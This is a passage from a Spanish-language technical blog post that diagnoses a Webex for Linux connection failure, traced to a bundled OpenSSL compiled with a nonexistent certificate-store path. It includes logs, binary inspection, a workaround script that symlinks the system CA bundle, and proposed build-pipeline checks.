connection», que es justo lo que la máquina demostrablemente no estaba. Nada de esto es un fallo de red. Lo único que faltaba era un directorio. Cuatro pasos cruzan la red y funcionan, incluida la recepción de la cadena completa de certificados del servidor. El paso que falla abre un archivo local. Al usuario se le muestra un mensaje sobre su conexión a internet. Por qué nada te avisó Dos cosas se confabulan para que esto sea silencioso, y solo una de ellas es culpa de Cisco.\nLo que nunca dice una palabra Diseño de quién Por qué se queda callado Cargar un almacén de confianza que no está De OpenSSL, deliberadamente SSL_CTX_set_default_verify_paths devuelve 1 tanto si las rutas son reales como si no. «A missing default location is still treated as a success»3 No tener nada a lo que recurrir De Cisco, y correcto Certificados validados, autofirmados rechazados, reintento SSL desactivado, así que no existe un modo degradado que enmascare un fallo Lo primero es razonable. Un programa que incluye sus propias anclas aparte no debería verse obligado a preocuparse, así que la llamada tiene éxito, el almacén está vacío, y en ninguna parte de la pila hay nada que diga he cargado cero autoridades de certificación. Lo primero que se entera es un fallo de verificación medio segundo después. Ejecuté esa llamada contra la biblioteca incluida con las rutas apuntando a /nonexistent y devolvió 1. Está en la salida de arriba.\nLo segundo es una política que baja desde el servicio, y el registro la deja escrita:\nWdm.cpp:1162 parseDeviceJson: Adding policy \u0026lt;\u0026lt; allowSelfSignedCertificate with value: false NetworkManager.cpp:1738 onConfigReady: ...httpRequestSSLRetryEnabled: 0 HttpRequestManager.cpp:1883 rawHttpRequest: {\u0026#34;validateCertificates\u0026#34;:\u0026#34;true\u0026#34;,\u0026#34;useClientCertificate\u0026#34;:\u0026#34;false\u0026#34;} Esos tres interruptores son la única razón de que este fallo sea una caída y no algo mucho peor, y merece la pena quedarse ahí en vez de pasar de largo.\nPiénsalo. La biblioteca incluida carga cero anclas de confianza, y nada por debajo de la capa de política iba a darse cuenta jamás, porque el fallo es silencioso por diseño de arriba abajo. Lo que lo convirtió en un banner fueron tres interruptores. Dale la vuelta a uno solo, como los entregan muchos clientes, y la misma compilación no falla en absoluto. Se conecta, a cualquier cosa que sostenga cualquier certificado, porque no tiene nada contra lo que comprobar uno.\nEl mismo almacén de confianza roto, a un interruptor de política de un fallo muy distinto La ruta de confianza está igual de rota en las dos columnas. Solo la política decide cómo te enteras. Común a ambas: el OPENSSLDIR compilado dentro no existe, así que el almacén carga cero autoridades de certificación Tal como lo entrega Webex validateCertificates: true allowSelfSignedCertificate: false httpRequestSSLRetryEnabled: 0 Nada contra lo que comprobar, así que rechaza. El saludo falla. Banner. Pierdes un día. Ruidoso, e inofensivo. Cualquiera de ellos al revés validateCertificates: false o autofirmados permitidos o reintento sin comprobación Nada contra lo que comprobar, así que sigue. El saludo se completa. Contra cualquier cosa. Silencioso, y no inofensivo. Lo que separó los dos resultados fue un valor de política puesto por otro equipo, aguas abajo del defecto, por razones ajenas. La ruta de confianza no protegía a nadie. Estaba rota de principio a fin, y lo único abierto era hacia qué lado fallaría. La diferencia entre «Webex está hoy sin conexión» y «Webex confió en lo que respondiera» es un valor de política puesto por otro equipo, aguas abajo del defecto, por razones que no tienen nada que ver con él. El problema es cómo sale a la superficie. El usuario recibe «Offline - No internet connection». El registro recibe «Error in SSL handshake» y un entero decimal. La palabra certificado no aparece en ningún sitio donde vaya a mirar un usuario o un técnico de primer nivel, y la única miga de diagnóstico es un número que tienes que pasar a hexadecimal para que signifique algo.\nLos arreglos que no funcionaron Los dos obvios fallan, y las razones son distintas y ambas merecen conocerse.\nEditar el openssl.cnf que viene incluido Webex incluye un archivo de configuración en /opt/Webex/lib/openssl.cnf, y tal como se entrega activa un solo proveedor:\n[provider_sect] fips = fips_sect Solo FIPS. No el proveedor default, que es donde viven los algoritmos TLS corrientes6. Volver a añadirlo es un cambio de una línea y no cambia absolutamente nada, porque el OpenSSL incluido nunca lee ese archivo. Busca openssl.cnf dentro de OPENSSLDIR7, y OPENSSLDIR es la ruta que no existe. El archivo está en el directorio de instalación con pinta de autoridad. Nada lo lee.\nEs un segundo defecto escondido detrás del primero. Aunque el problema de la ruta se arreglara mañana apuntando OPENSSLDIR a /opt/Webex/lib, esta configuración se cargaría entonces y activaría solo FIPS. Y el propio módulo FIPS se carga desde MODULESDIR, la tercera ruta muerta del mismo árbol, así que el fips.so que viene en /opt/Webex/lib tampoco se encuentra. Tres rutas, un prefijo equivocado, y cada una rota de forma que esconde la siguiente.\nPoner las variables de entorno La biblioteca respeta SSL_CERT_FILE y SSL_CERT_DIR. Lo demostré arriba. La ejecución con éxito está ahí mismo. Así que el movimiento obvio es ponerlas en la entrada de escritorio, que es lo que se intentó:\nExec=env OPENSSL_CONF=/opt/Webex/lib/openssl.cnf \\ SSL_CERT_FILE=/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem \\ SSL_CERT_DIR=/etc/pki/tls/certs/ /opt/Webex/bin/CiscoCollabHost %U Ningún cambio. Y la razón no es que Webex ignore las variables. La razón es que el proceso nunca las recibió:\n$ tr \u0026#39;\\0\u0026#39; \u0026#39;\\n\u0026#39; \u0026lt; /proc/20293/environ | grep -E \u0026#39;SSL|OPENSSL|CURL\u0026#39; $ tr \u0026#39;\\0\u0026#39; \u0026#39;\\n\u0026#39; \u0026lt; /proc/20293/environ | wc -l 99 Noventa y nueve variables en el proceso de Webex en ejecución, y ni una sola de las tres que se habían puesto. Porque hay dos entradas de escritorio con el mismo nombre en esta máquina:\nArchivo Qué ejecuta su línea Exec Escrito por /usr/share/applications/webex.desktop la línea env de tres variables de arriba, entera el .rpm, luego editado a mano ~/.local/share/applications/webex.desktop /opt/Webex/bin/CiscoCollabHost %U, y ningún entorno el propio lanzador de Webex Y la especificación no es ambigua sobre cuál gana: «The base directory defined by $XDG_DATA_HOME is considered more important than any of the base directories defined by $XDG_DATA_DIRS.»8 $XDG_DATA_HOME es ~/.local/share. La copia del usuario tapa a la del paquete, siempre, en cualquier escritorio que siga la especificación9.\nAsí que Webex instala una segunda copia de su propio lanzador en tu directorio personal, y esa copia es la que ejecuta tu escritorio. Cambia el archivo del paquete todo lo que quieras. Estás editando un documento que no lee nadie.\nDos entradas de escritorio con el mismo nombre, y gana la que Webex se escribe a sí mismo El entorno se puso en el archivo que el escritorio nunca lee Dos entradas, un nombre. El orden de búsqueda está escrito, y no favorece a la copia del paquete. Editada a mano, y superada /usr/share/applications/webex.desktop Exec=env OPENSSL_CONF=... SSL_CERT_FILE=... nunca se consulta mientras exista el otro archivo Escrita por Webex, y gana ~/.local/share/applications/webex.desktop Exec=/opt/Webex/bin/CiscoCollabHost %U ningún entorno definido descartada lanzada Especificación de directorios base XDG: el directorio base definido por $XDG_DATA_HOME se considera más importante que cualquiera de los definidos por $XDG_DATA_DIRS. Prueba, del proceso en ejecución y no del razonamiento: tr '\\0' '\\n' \u0026#60; /proc/20293/environ | grep -E 'SSL|OPENSSL' \u0026#8594; sin salida, 99 variables, ninguna de estas El arreglo era real, el archivo era real, y el proceso al que iba dirigido se lanzó desde otro sitio. El entorno se puso en el archivo que el escritorio nunca lee. Webex escribe su propia entrada bajo el directorio de datos del usuario, la especificación dice que esa manda sobre la del paquete, y la prueba es el proceso en ejecución: noventa y nueve variables de entorno y ninguna de las tres. El arreglo que sí funciona Si la biblioteca insiste en una ruta, dale la ruta. Crea el directorio que se compiló para querer y llénalo de enlaces simbólicos a lo de verdad:\n#!/bin/bash # Point the bundled CiscoSSL at the system trust store by building the # directory it was compiled to look for. Tested: Fedora 44, Webex 46.8.0.35631. set -euo pipefail OPENSSLDIR=$(strings /opt/Webex/lib/libcrypto.so.3 \\ | grep -oP \u0026#39;(?\u0026lt;=OPENSSLDIR: \u0026#34;)[^\u0026#34;]+\u0026#39;) [ -n \u0026#34;$OPENSSLDIR\u0026#34; ] || { echo \u0026#34;no OPENSSLDIR found in the shipped library\u0026#34;; exit 1; } for p in /etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem \\ /etc/ssl/certs/ca-certificates.crt \\ /etc/pki/tls/certs/ca-bundle.crt \\ /etc/ssl/cert.pem; do [ -f \u0026#34;$p\u0026#34; ] \u0026amp;\u0026amp; { CA_BUNDLE=\u0026#34;$p\u0026#34;; break; } done [ -n \u0026#34;${CA_BUNDLE:-}\u0026#34; ] || { echo \u0026#34;no system CA bundle found\u0026#34;; exit 1; } echo \u0026#34;OPENSSLDIR: $OPENSSLDIR\u0026#34; echo \u0026#34;CA bundle: $CA_BUNDLE\u0026#34; sudo mkdir -p \u0026#34;$OPENSSLDIR\u0026#34; sudo ln -sf \u0026#34;$CA_BUNDLE\u0026#34; \u0026#34;$OPENSSLDIR/cert.pem\u0026#34; sudo ln -sf \u0026#34;$(dirname \u0026#34;$CA_BUNDLE\u0026#34;)\u0026#34; \u0026#34;$OPENSSLDIR/certs\u0026#34; sudo tee \u0026#34;$OPENSSLDIR/openssl.cnf\u0026#34; \u0026gt; /dev/null \u0026lt;\u0026lt;\u0026#39;CONF\u0026#39; openssl_conf = openssl_init [openssl_init] providers = provider_sect [provider_sect] default = default_sect fips = fips_sect [default_sect] activate = 1 CONF echo \u0026#34;done. now restart Webex\u0026#34; Reinícialo, y la misma secuencia de arranque produce el resultado contrario. El mismo binario. Las mismas líneas de registro. La renovación del token, que antes fallaba en menos de sesenta milisegundos, ahora termina en trescientos treinta:\nAuthTokenRequester.cpp:579 Managed to fetch a new Kms access token. AuthTokenRequester.cpp:579 Managed to fetch a new CloudApps access token. AuthTokenSupervisor.cpp:310 Auth tokens refreshed. Expires in [64799 secs]. AuthenticationManager.cpp:1860 onUserAuthenticated: User authenticated. ConnectivityStateMachine::Authentication - UserNotAuthenticated -\u0026gt; UserAuthenticated Autenticado en unos 750 ms, así que el temporizador de quince segundos no salta nunca y el banner no aparece nunca. Los servicios de telefonía pasan de Disconnected a Connecting, un estado que la sesión rota no alcanzó en un minuto de intentos.\nAntes Después Comprobación de red pasa pasa Primera petición HTTPS 167772294 Error in SSL handshake HTTP 200 Token de CloudApps fallido obtenido Token de Kms fallido obtenido Autenticación atascada en UserNotAuthenticated UserAuthenticated Banner a los 15 s «Offline - No internet connection» ninguno Servicios de telefonía nunca intentados conectando Tiempo hasta autenticar nunca ~750 ms Fíjate en lo que el arreglo le hace a tu sistema de archivos, porque debería molestarte. Crea en tu máquina un directorio de primer nivel llamado /workspace, un nombre para el que el Filesystem Hierarchy Standard no tiene sitio10, con dentro una ruta de caché de Conan y un hash de compilación que pertenecen a una empresa a la que le compraste software. Esa es la forma del remedio que te ha dejado Cisco: montar el entorno de compilación de otro en la raíz del tuyo.\nTambién se va a romper. De tres maneras:\nCuándo se rompe Por qué Qué haces Una actualización de Webex cisco8ee8b59cf93de se deriva de las entradas de compilación, así que una dependencia recompilada significa un directorio nuevo Volver a ejecutar el script; lee la ruta del binario nuevo en vez de suponer la vieja Un cambio de distribución El destino del enlace simbólico es una decisión de la distribución, no un estándar11 Reapuntarlo; el script tantea cuatro ubicaciones conocidas Una reinstalación /workspace no lo respalda, empaqueta ni posee nada Ejecutarlo otra vez, siempre, para siempre Nada de eso es mantenimiento. Eres tú haciendo de sustituto de un paso en la cadena de compilación de otro, indefinidamente, sin cobrar. Parchear un defecto en tiempo de ejecución, en cada máquina que tengas, porque el fabricante no quiso parchearlo una vez en tiempo de compilación.\nConocían la regla y la aplicaron a la mitad de la compilación Aquí está lo que convierte esto de un informe de fallo en un argumento.\nLee la sección dinámica de los binarios entregados:\n$ readelf -d /opt/Webex/bin/libcurl.so | grep RUNPATH 0x1d (RUNPATH) Library runpath: [$ORIGIN:$ORIGIN/../lib] $ readelf -d /opt/Webex/bin/CiscoCollabHost | grep RUNPATH 0x1d (RUNPATH) Library runpath: [$ORIGIN/../lib] $ORIGIN se expande en tiempo de carga al directorio que contiene el propio objeto12. Es la herramienta correcta para un paquete reubicable y la usaron bien. No les quedaba otra: Webex entrega el mismo árbol dos veces, una en /opt/Webex y otra en ~/.local/share/WebexLauncher/46.8.0.35631_9e6196c9-…/, y un lanzador elige entre ambos al arrancar. Dos prefijos, una compilación, y el enlazador encuentra sus bibliotecas en los dos.\nAsí que la gente que hizo este paquete entendía el problema exactamente. Las rutas absolutas no sobreviven a la entrega. Lo resolvieron para el código.\nLuego dejaron las rutas de datos como cadenas absolutas que nombran el contenedor que las compiló. La misma compilación. La misma tarde.\nUna ruta del paquete se reubica sola. La otra nombra una máquina en algún centro de datos. Sabían que el paquete tenía que moverse. Solo lo aplicaron al código. Los dos valores los fija la misma gente el mismo día al compilar. Uno se expande al cargar, el otro no se expande nunca. De dónde viene el código: registrado como expresión relativa RUNPATH en libcurl.so $ORIGIN:$ORIGIN/../lib /opt/Webex/lib resuelto ~/.local/share/WebexLauncher/46.8.0.35631_.../lib también resuelto Correcto, y a propósito. El mismo árbol se entrega dos veces a dos prefijos y el enlazador lo encuentra en ambos. De dónde viene la confianza: registrado como el directorio de trabajo de alguien OPENSSLDIR en libcrypto.so.3 /workspace/.conan2/p/b/cisco8ee.../p/ssl esa ruta no existe sin resolver ENGINESDIR y MODULESDIR: mismo árbol, mismo resultado Tres rutas absolutas a un contenedor de compilación, entregadas a cada cliente, en un producto vendido con contrato de soporte. Entre las dos mitades de esta imagen hay una persona ejecutando el artefacto empaquetado en una máquina que no lo compiló. Ese es todo el defecto. No un fallo difícil. Uno sin probar. La misma compilación, el mismo día, los mismos ingenieros. La ruta de búsqueda de bibliotecas queda registrada como una expresión que se resuelve donde caiga el árbol. La ruta de confianza queda registrada como el directorio de trabajo de alguien. Así que esto no se puede archivar bajo no lo sabían. En $ORIGIN no se tropieza uno. Se echa mano de él porque se ha entendido que una ruta absoluta cocida dentro de un artefacto entregado es un defecto, y se ha entendido lo bastante bien como para ir a arreglarlo en el enlazador. Y luego la misma compilación escribe tres rutas absolutas en las mismas bibliotecas, y las entrega.\nConocer la regla y aplicarla a la mitad de la compilación es peor que no conocerla. No saber es un problema de formación y la formación tiene solución. Esto es un paquete que llevaba dentro la idea correcta, por escrito, en la cabecera ELF donde cualquiera podía leerla, y salió por la puerta roto igualmente. Lo que te dice que nada por debajo del compilador estaba mirando el resultado. Nada lo hizo.\nEl contenedor ya estaba ahí De dónde salió /workspace no es un misterio, y no hace falta adivinarlo. Está en la cabecera del paquete:\n$ rpm -qi webex | grep -E \u0026#39;Build Host|Build Date|Vendor\u0026#39; Build Date : Sat 08 Aug 2026 20:47:43 BST Build Host : c964ea9239ae Vendor : Cisco c964ea9239ae no es un nombre de host que haya tecleado nadie. Son doce caracteres hexadecimales, que es lo que un contenedor informa como nombre de host cuando nadie le pone uno. Así que el paquete se compiló dentro de un contenedor, por una empresa que claramente tiene las imágenes, el registro y la orquestación para hacerlo, y tres artefactos distintos en esta máquina lo dicen de forma independiente:\nPrueba, leída del paquete instalado Valor Qué demuestra Build Host en la cabecera del RPM c964ea9239ae un identificador de contenedor, no una máquina de compilación OPENSSLDIR en libcrypto.so.3 /workspace/.conan2/… una ruta que solo existe dentro de ese contenedor PLATFORM en la misma biblioteca conan-Release-Linux-x86_64-gcc-13 una cadena de herramientas Conan en contenedor Requires en el RPM glibc \u0026gt;= 2.28 un suelo de ABI muy antiguo, elegido a propósito Luego lo firmaron. La compilación terminó a las 20:47:43 y la firma está fechada a las 21:02:07 de esa misma tarde, identificador de clave 9995e5bbb5ccde3c. Quince minutos. Así que hay una puerta de publicación, alguien o algo la maneja, y lo que atestigua es quién hizo el paquete, no si el paquete funciona. Una firma es una declaración sobre la procedencia. Nunca ha sido una declaración sobre la aptitud, y un proceso que tiene una y no la otra tiene las prioridades en el orden equivocado.\nPorque el paso que falta es el barato. El contenedor ya está en la cadena. Coge el artefacto que acaba de salir, arranca una imagen limpia de cada distribución que dices soportar, instálalo, lánzalo, y lee las primeras cien líneas del registro:\ndocker run --rm fedora:44 sh -c \u0026#39; dnf -y install ./webex-46.8.0.35631-1.x86_64.rpm \u0026amp;\u0026amp; timeout 25 /opt/Webex/bin/CiscoCollabHost \u0026amp; sleep 20 grep -c \u0026#34;Error in SSL handshake\u0026#34; ~/.local/share/Webex/current_log.txt\u0026#39; Distinto de cero, siempre, en esta compilación. La instalación son 1,1 GB, así que cuenta un minuto por objetivo con la caché caliente. Seis distribuciones son seis minutos de una máquina que ya está funcionando, en hardware que Cisco ya tiene, en una cadena que ya existe. No se hizo. Ni una sola vez.\nY esa es la respuesta a eso que la gente sigue diciendo de Linux, que soportar varias distribuciones es difícil. Dejó de ser difícil el día que llegaron estas herramientas, y las herramientas son las mismas con las que compilan. Una imagen base por objetivo. El mismo artefacto en cada una. La matriz es un bucle.\nUna cadena que compila en un contenedor y nunca ejecuta el resultado en uno no es una cadena. Es un compilador con una tarea programada delante y una clave de firma detrás, y lo que produzca es una suposición.\nCompilan dentro de un contenedor y nunca ejecutan el resultado en uno El contenedor ya está en la cadena. Solo se usa para la mitad que le conviene al fabricante. Cada valor de abajo está leído del paquete instalado, no deducido. Compilación, dentro de un contenedor Build Host: c964ea9239ae /workspace/.conan2/p/b/... conan-Release-Linux-x86_64-gcc-13 tres pruebas distintas de un contenedor Firmar y publicar compilado 20:47:43 firmado 21:02:07 quince minutos, y una puerta de publicación que atestigua quién, nunca si Cliente dnf install webex lo abre \"Offline - No internet\" El paso que no está en ninguna parte de la cadena docker run --rm fedora:44 sh -c 'dnf -y install ./webex.rpm \u0026amp;\u0026amp; CiscoCollabHost \u0026amp; sleep 20; grep -c \"Error in SSL handshake\" ~/.local/share/Webex/current_log.txt' La misma infraestructura. Una imagen por distribución objetivo. Menos de un minuto cada una, y en esta compilación falla a gritos. Compilar para varias distribuciones dejó de ser difícil el día que llegaron estas herramientas, y son las mismas con las que compilan. Una cadena que compila en un contenedor y nunca ejecuta el resultado en uno es un compilador con una tarea programada delante y una clave de firma detrás. Tres pruebas independientes en el paquete entregado de que la compilación corrió en un contenedor, una firma aplicada quince minutos después de compilar, y el único paso que no aparece por ninguna parte: ejecutar el paquete terminado en una imagen limpia de cada plataforma para la que se vende como soportado. ¿Por qué una versión de 2026 se compila contra una libc de 2018? El paquete declara lo que necesita, y la línea interesante es la primera:\n$ rpm -q --requires webex | grep glibc glibc \u0026gt;= 2.28 glibc 2.28 salió el 1 de agosto de 201813. Es la versión de Red Hat Enterprise Linux 814, una edición cuyo soporte completo terminó en 2024. Esto es un producto de 2026, compilado en 2026, apuntando a la biblioteca C de 2018. Y encima entregando su propia copia de 2,5 MB de libstdc++.so.6 en el directorio personal del usuario, porque el entorno de ejecución de C++ que acompaña a una base tan vieja no puede sostener el código.\n¿Por qué iba nadie a seguir haciendo eso? Porque no quieren enlazar estáticamente.\nEso es todo. En el momento en que enlazas dinámicamente contra la biblioteca C del anfitrión, la distribución más antigua que estás dispuesto a soportar se convierte en una restricción sobre la máquina en la que compilas. No puedes usar un símbolo del que el objetivo más antiguo nunca ha oído hablar, así que clavas la compilación a una imagen base antigua y ahí te quedas. Cada año la brecha se ensancha. Cada función nueva de lenguaje o biblioteca llega con una discusión sobre si el suelo puede moverse. Entrega tu propia libstdc++ para tapar lo peor, y ahora además mantienes un entorno de ejecución privado.\nEse trato tenía sentido cuando un servidor de compilación era una máquina física en un armario que alguien tenía que reinstalar. Lleva una década sin tenerlo. Si tienes que enlazar contra la libc del anfitrión, un contenedor por objetivo te da una compilación real sobre una versión real de cada plataforma, y ninguna restringe a las demás.\nPero mira lo que la disciplina del objetivo antiguo compró aquí en realidad. Es conservadurismo de ABI a un coste considerable: un suelo de ocho años, un entorno de C++ incluido, una matriz de soporte congelada alrededor. Y el cliente sigue sin arrancar. Porque lo que se rompió fue una ruta de archivo, y ningún cuidado con las versiones de símbolos protege una ruta de archivo. Pagaron el impuesto de compatibilidad y el impuesto del empaquetado, y se saltaron la única comprobación que no cuesta nada. Las dos facturas. Ningún producto.\nPagaron por un paquete autónomo y no lo consiguieron La manera de toda la vida de entregar software comercial en Linux es depender de lo menos posible del anfitrión. Estático donde puedas, un árbol autónomo donde no, y ninguna suposición sobre la distribución de debajo. No es elegante y nadie pretende que lo sea. Existe por culpa de la alternativa. Un binario que necesita una versión concreta de una biblioteca concreta en un sitio concreto convierte la máquina de cada cliente en un caso de soporte.\nCisco tomó la segunda vía y lo incluyó todo. Esta es la factura:\nLo que contiene el paquete Tamaño o número Objetos compartidos en /opt/Webex/lib 150 Su propia libcurl, CiscoSSL, zlib-ng, ICU, Kerberos, cliente CUPS, hunspell y motor de inferencia todos Instalado en /opt/Webex 1,1 GB Una segunda copia en ~/.local/share/WebexLauncher, por usuario 1,1 GB En disco para un cliente de chat y llamadas 2,2 GB Dos gigabytes de dependencias. Ese es el precio completo de incluirlo todo: la descarga, el disco, la duplicación, la carga de seguridad de ser la única parte que puede parchear cualquiera de ellas, todo el lote. Paga eso y lo que compras es un programa al que le da igual lo que tenga instalado el anfitrión, que se comporta igual en Fedora y Debian y Arch y en lo que un cliente haya estandarizado este año, y que no puede romper una actualización de distribución de la que nunca oyó hablar.\nSalvo que sí le da igual. Le importa muchísimo un directorio, y es un directorio de un servidor de compilación.\nEntregaron su propio Kerberos y su propia ICU y su propio corrector ortográfico, y no supieron entregar una ruta funcional a los certificados. El propósito entero del paquete es ser autónomo, y no lo es en el único aspecto que lo deja sin funcionar. Cada uno de esos 1,1 GB se encuentra correctamente a través de $ORIGIN. Los cuarenta y pico bytes que más importan, no.\nY esta es la parte que me puede. Incluirlo todo es la opción cara. Asumieron el gasto, hicieron la ingeniería difícil, acertaron con la reubicación de ciento cincuenta bibliotecas en dos prefijos de instalación. Y luego apuntaron la única parte que decide si algo de eso funciona a una máquina que ningún cliente ha tenido jamás.\nTampoco lo documentó nadie Junto al primer fallo hay un segundo, y es el que habría cazado al primero.\nPregúntale al paquete qué documentación entrega:\n$ rpm -qd webex | wc -l 0 $ rpm -qc webex | wc -l 0 Ningún archivo de documentación. Y ningún archivo de configuración. Cero entradas marcadas %config en un paquete que entrega un openssl.cnf. Eso no es cosmético. Un RPM marca un archivo como %config para que el gestor de paquetes conserve lo que cambió el administrador, guardando un .rpmsave en vez de machacarlo1516. /opt/Webex/lib/openssl.cnf se entrega como archivo corriente, así que la siguiente actualización sobrescribe cualquier cambio que le hayas hecho y no te dice nada. El único archivo que un cliente podría necesitar ajustar legítimamente es el que el empaquetado trata como desechable.\nNada publicado dice qué almacén de confianza usa el cliente, qué variables de entorno respeta, ni de dónde lee su configuración TLS. No hay ninguna página que consultar. No se escribió ninguna. La única forma en que establecí algo de esto fueron strings, readelf, ldd y ctypes contra los binarios entregados. Aplicar ingeniería inversa a un producto soportado para responder a una pregunta que su documentación debería haber respondido en una frase.\nY esta es la razón por la que eso importa más de lo que parece. Escribir esa documentación es en sí una prueba. Pon a cualquiera del fabricante delante de una página en blanco titulada de dónde lee Webex para Linux sus certificados de autoridad, y lo primero que tiene que hacer es ir a mirar. En el momento en que mira, encuentra /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl, y lo siguiente que sale de él es una pregunta. Las rutas de configuración documentadas no son papeleo en beneficio del cliente. Son la auditoría más barata que un fabricante puede pasarle a su propia compilación, y saltársela es como una ruta así sobrevive hasta una publicación.\nNada de eso es mucho pedir. Di dónde vive tu configuración. Di qué variables de entorno respetas. Marca tus archivos de configuración como configuración para que una actualización no se los coma. Entonces el cliente que se topa con un fallo tiene dónde mirar que no sea un editor hexadecimal.\nNadie lo ejecutó El paso que falta se ha nombrado suficientes veces arriba. Lo que merece preguntarse es por qué faltó en esta plataforma y no en las otras.\nEn Fedora no, desde luego. En macOS y en el Fisher-Price OS (Windows) esta clase de fallo no puede aparecer de la misma manera, porque esas plataformas tienen una pila TLS de sistema con un almacén de confianza que gestiona el sistema operativo. Linux no tiene tal cosa. OpenSSL es el almacén de confianza, y por tanto quien lo entrega es dueño de dónde mira. Así que la única plataforma donde la biblioteca incluida es la que aguanta es la plataforma que se entregó sin probar, que es una decisión sobre qué clientes merecen una prueba de humo.\nToda la investigación llevó una tarde: leer el registro, ver que la detección de red pasaba antes de que el banner afirmara lo contrario, sacar la ruta compilada del binario, reproducir el código de error exacto contra la biblioteca entregada. Todo ello con un agente de IA haciendo la correlación de registros y el andamiaje de ctypes mientras yo decidía qué preguntarle. Lo menciono por una razón: el diagnóstico que un fabricante nunca hizo antes de firmar este paquete y meterlo en su propio repositorio está ahora al alcance de una tarde para cualquier cliente con la paciencia de mirar. Los ingenieros de Cisco tienen Claude a su disposición igual que todo el mundo, y lo habría construido bien. No puedes pedirle que cueza /workspace/.conan2 dentro de un artefacto que se va a entregar sin que te diga qué va a pasar cuando el artefacto salga del workspace. Las herramientas para cazar esto ya no escasean, y el conocimiento tampoco. Lo que falta es alguien en el fabricante cuyo trabajo fuera mirar.\nMientras tanto, la vía de soporte para quien se topa con esto es un banner que dice que su internet está caído. Reiniciará el router. Llamará a su operador. Abrirá un aviso que no llevará a ninguna parte, porque el síntoma que Cisco eligió mostrar apunta lejos de Cisco.\nEsa es la lista completa de lo que salió mal. Merece la pena decir cómo habría sido hacerlo bien, porque cada punto de ella tiene una respuesta asentada que es anterior a este producto.\nCómo debería haberse construido Basta de lo que salió mal. Esta es la norma, y nada de ella es novedoso. Es lo que entregar un binario al ordenador de otra persona lleva veinte años pidiéndote.\nEmpieza por la decisión que Cisco acertó en el principio y erró en la ejecución: cuánto del anfitrión estás dispuesto a dar por supuesto. Enlazar estáticamente es la respuesta más fuerte, y merece la pena ser concreto, porque «pues enlázalo estáticamente» lo agitan quienes nunca han tenido que hacerlo y lo despachan quienes nunca lo han intentado.\nQué elimina Qué cuesta RUNPATH, y todas las formas de equivocarse con él, porque no hay búsqueda en tiempo de carga glibc no enlaza limpiamente en estático: la resolución de nombres y usuarios pasa por dlopen, así que el binario sigue echando mano de los módulos NSS del anfitrión17 El suelo de glibc, con lo que la distribución más antigua deja de dictar sobre qué puedes compilar las partes LGPL traen una obligación de reenlazado, así que siguen dinámicas o entregas lo necesario para reenlazar Roturas por una actualización de distribución, una biblioteca renombrada o una caché de ldconfig obsoleta Eres dueño de cada parche: ninguna actualización de seguridad de distribución llega a tus clientes El dlopen de un .so versionado desde un directorio que puede no estar Una descarga mayor, y ningún reparto de páginas entre procesos Y una línea de la columna izquierda a la que las demás solo dan apoyo: el artefacto que produjo tu cadena es el artefacto que ejecuta el cliente, byte a byte. Pruébalo y habrás probado lo que entregaste. Esa es la propiedad cuya ausencia trata toda esta entrada.\nLa columna de la derecha merece honestidad. Costes reales, y la razón de que la gente eche mano de musl o acepte un híbrido. Pero mira la tercera fila. Ser dueño de cada parche se aplica igual a lo que Cisco ya hizo: un árbol incluido de 150 bibliotecas es el mismo compromiso sin ninguna de las garantías en tiempo de carga. Se apuntaron a ser dueños de cada parche de cualquier forma y no sacaron nada a cambio.\nAsí que la regla es sencilla, y es la regla que rompieron: lo que no puedas enlazar dentro, tienes que encontrarlo por una ruta relativa al binario. $ORIGIN para el código, y la misma disciplina, a propósito, para cada ruta de datos que la biblioteca vaya a buscar. En este caso son cuatro y cada una tiene un asidero documentado:\nLo que la biblioteca va a buscar Lo que se entregó Lo que debería haber sido Anclas de confianza OPENSSLDIR/cert.pem, fijado al compilar entregadas en el árbol, o SSL_CERT_FILE puesto al arrancar5 Configuración OPENSSLDIR/openssl.cnf, misma ruta, nunca encontrada OPENSSL_CONF, apuntado a la copia del paquete5 Proveedores, incluido FIPS MODULESDIR, absoluto, así que fips.so es inalcanzable OPENSSL_MODULES, «the directory from which cryptographic providers are loaded»5 Motores ENGINESDIR, absoluto OPENSSL_ENGINES, o nada, ya que OpenSSL 4.0 retiró el soporte de motores por completo5 Cuatro rutas, cuatro variables de entorno, todas en una única página de manual que su propia biblioteca entrega. Si alguna cadena de tu artefacto empieza por / y se decidió al compilar, es un defecto esperando a que lo encuentre un cliente. No hay una tercera opción en la que una ruta de compilación absoluta esté bien.\nLos arreglos para este, y la comprobación que lo caza Del principio bajamos a este defecto concreto. Seis cambios, y ninguno es investigación:\nArreglo Esfuerzo Por qué es lo correcto Poner --openssldir=/opt/Webex/lib/ssl y entregar el árbol una opción de configuración La ruta existe entonces en el paquete, que es para lo que está la opción2 Poner SSL_CERT_FILE/SSL_CERT_DIR en CiscoSSLUtils al arrancar, tanteando las rutas conocidas de las distribuciones una docena de líneas Estándar, documentado, ya soportado por su propia biblioteca5 Entregar ellos mismos el paquete de CA dentro del paquete solo empaquetado Control total de la confianza, al precio de encargarse de su frescura Corregir el openssl.cnf para que active el proveedor default una línea Necesario de todos modos, y ahora mismo enmascarado por el fallo de ruta6 Marcar openssl.cnf como %config una línea de spec Evita que una actualización se coma en silencio el cambio de un administrador15 Publicar las rutas y las variables respetadas una página La auditoría más barata que hay, y encuentra este fallo mientras se escribe El primero es el arreglo de una opción y habría entregado el producto funcionando. Es un único valor en un script de compilación, puesto una vez, que tuvieron mal porque nada aguas abajo lo comprobó jamás.\nLa comprobación es más pequeña que el arreglo:\n# in CI, on the packaged artefact, in a clean container test -d \u0026#34;$(strings lib/libcrypto.so.3 | grep -oP \u0026#39;(?\u0026lt;=OPENSSLDIR: \u0026#34;)[^\u0026#34;]+\u0026#39;)\u0026#34; \\ || { echo \u0026#34;shipping a trust store path that does not exist\u0026#34;; exit 1; } Una línea. Habría hecho fallar esta publicación a gritos, en febrero, en la máquina que la hizo, en el contenedor que la hizo, antes de que el paquete se firmara. La razón de que no esté no es la dificultad ni el coste. Es que a nadie se le pidió escribirla, y por tanto si el artefacto empaquetado se comportaba como software no era trabajo de nadie.\nLo que un proceso de compilación descuidado le cuesta a todos los demás Todo lo anterior es el proceso de compilación de un producto visto por dentro, y no voy a repasártelo otra vez. La pregunta que merece la pena es si ese nivel de cuidado es probable que se pare en un equipo.\nAsí que pon al lado el registro de fuera. CISA mantiene un catálogo de vulnerabilidades que se sabe que se están explotando en el mundo real. No teóricas, no puntuadas. Observadas usándose contra gente. A 14 de septiembre de 